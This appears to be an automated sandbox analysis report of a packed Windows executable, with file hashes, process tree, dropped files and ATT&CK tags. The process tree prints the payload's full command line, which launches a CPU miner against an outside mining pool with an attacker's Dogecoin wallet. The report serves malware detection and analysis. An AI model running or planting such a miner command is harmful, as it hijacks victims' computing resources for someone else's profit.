73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
296s
platform
windows10-1703_x64
resource
win10-20231220-ja
resource tags

arch:x64arch:x86image:win10-20231220-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 17:20

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2784	b2e.exe
1436	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1436	cpuminer-sse2.exe
1436	cpuminer-sse2.exe
1436	cpuminer-sse2.exe
1436	cpuminer-sse2.exe
1436	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4496-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4496 wrote to memory of 2784	4496	batexe.exe	75
PID 4496 wrote to memory of 2784	4496	batexe.exe	75
PID 4496 wrote to memory of 2784	4496	batexe.exe	75
PID 2784 wrote to memory of 4852	2784	b2e.exe	76
PID 2784 wrote to memory of 4852	2784	b2e.exe	76
PID 2784 wrote to memory of 4852	2784	b2e.exe	76
PID 4852 wrote to memory of 1436	4852	cmd.exe	79
PID 4852 wrote to memory of 1436	4852	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4496
- C:\Users\Admin\AppData\Local\Temp\9114.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\9114.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\9114.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9308.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1436

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9114.tmp\b2e.exe

Filesize
12.1MB

MD5
fe77460593512f5314c7842dc3cb671c

SHA1
8eec8382c076493ebd3044abdefdb07fc2446dfd

SHA256
2c76f9eb49ff26341cbf4e8c47741de0fb387f2c1ea1e4c33bc998fb83dd1441

SHA512
1cd2bac5f01ee3306b60181380d26feeb5e73b397c06ffa20386dd677b49e0d2166caa098219ec1b79a26cae1094ab908c2511004e85d5d0b8d7cafeff219f3c

Download Submit
C:\Users\Admin\AppData\Local\Temp\9114.tmp\b2e.exe

Filesize
13.8MB

MD5
61886b50887e3d2df383cc576fbed142

SHA1
16104ca0c52c7570cb9a201bc42a5a2b71620af9

SHA256
d414f7c759413933321e63e6882dcc58693cb58e08ac25591d5bb50956ef1d8c

SHA512
f80b4a7c4a8e2aeabbab6c97d3fb3e9973a1d70e08a56bec42cdf54c86fbb7bf8af4e3b785fd39a88750daff2bc8598ec4eb0850d6b569ee3408c6cd14b261d0

Download Submit
C:\Users\Admin\AppData\Local\Temp\9308.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
384KB

MD5
eb8ea4d2595402528f73410e2c8651ed

SHA1
23abb385032a9317d00c826eb21e0fe6fc802c50

SHA256
fc3c5c1787c58c465ea47ab132afc59d209b1f7d319ae80a7913ed5c39157017

SHA512
7f4485a662859bdec898bb4f9675c8a834ab570ae7f4df2b6e95a9f5ab45f8fba612d04f0edfe22dc4bdcd3011af0536ed200731262056cd7bec332ce4b18573

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
402KB

MD5
8928daa4227475b3e66f14c296b887d8

SHA1
2d2233c8f844e75d2f7c8735fa859decbe5ec876

SHA256
0b12f9f4179a21b4680e6e4d14a7ea8dc6c671216326d5ab47d57cdaaaa1063b

SHA512
74a48adee4bfdbfdff0655a1e715316d0c5ac2e17129556699e72562a7bcd047187bb97477d608ee9716a4c123fcc282eaef791c767f0dba664b0925ce636a42

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
384KB

MD5
b91f7bb5508b343188ec32dcc7880611

SHA1
fe2ae7ba4a1bbb2a5df7b73f21a0b8fc745cc11f

SHA256
47881756cdfcb302e63efb2016c122a1bb61574d81186275aef3d5a9fb72b84b

SHA512
a5b91bc653cbf28219b6f169d5d849fb53eced9a932b8edf468c9092544795ee8120d5c76f0c45f27b7a2464c328f5bffcabf3e83d2e7236263ea930cf92eea0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
384KB

MD5
4cb3a8d3af58faf78da4dd33a03029db

SHA1
5356e4fb04a7047f6fc82a4e071e4803f97a0f3d

SHA256
86df790940bd442466ea58a434a31aaaadd1d23a9e9bf5e6fe625ff49049d620

SHA512
244237f4a13a7666e9f9592451dbb8bb18ca1f828d66f97e2890fa8f6be690d8890848102a8be253542c9f4b154d9f0e1aeeee5a867c866b78b64f9949f48c89

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
384KB

MD5
d1d1f36cdbccda3b96e8c164afb74526

SHA1
91bafcd404c8568c9a195ec8cbf9592ea9e17e8b

SHA256
ea6e726150aa9a8dcf9ccb6a991440b451f9f2dcc46d93cb35971556879d1d03

SHA512
2306e6578ba2217b4f32913e1ac35e0547723b873c11244e96affd05457945373c621ea16a82e1e3aa1a177e3059efc40c8585118c63a3ea145524c51d1d18c9

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
128KB

MD5
48c422e815911804d8322f84e605438f

SHA1
b577cb4575fdf07ead63d0f9831833f4f30788e9

SHA256
3247538f008c10c405b77c7a1ff636bd7f7e72b0cf4b5990870c157958b4e6ea

SHA512
0278d1c8a8bb02bb70bac382c89481451ddd147f2b195fed3cf1105524358a04703be54186e138d0e1f1423441e694cd292eb890cfe66bc421eb160821548f8c

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
64KB

MD5
e98583e2f3157ea2561f40a91a79b195

SHA1
770932f48dbea7a78a3b21e3df65e329a27313ff

SHA256
f6b3de2ac1e9c449daf82a3bd6fa52d2ed60e73e8cdd25d5d2194586a8d10de2

SHA512
cfa97067447a389dc5439dc42ca467f97947fa7010314cad0b99655688361721720bb33e34a1c7b22c93d807327b756109f63d15a40df5aaec620b0d0e1acc7f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.0MB

MD5
67d1c82e451297f168e0a58e0192e5fd

SHA1
4938616df89083d34597d6d31eea89ee41cdb55f

SHA256
e7a433f82048204ab533fac5c897921929baac6425f167c50b14611063f2be73

SHA512
c743c9f0d8734f8002283dbdfe14f7d38c1e7d3393e39e08264d7bcceedb5d384dbe14c8bf38e5cfc7827dbd98596fb321357c6616e2668a5d7963f60a5b7d6e

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1436-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1436-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1436-43-0x000000006F0E0000-0x000000006F178000-memory.dmp

Filesize
608KB

Download
memory/1436-44-0x0000000001020000-0x00000000028D5000-memory.dmp

Filesize
24.7MB

Download
memory/1436-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1436-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2784-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2784-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4496-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download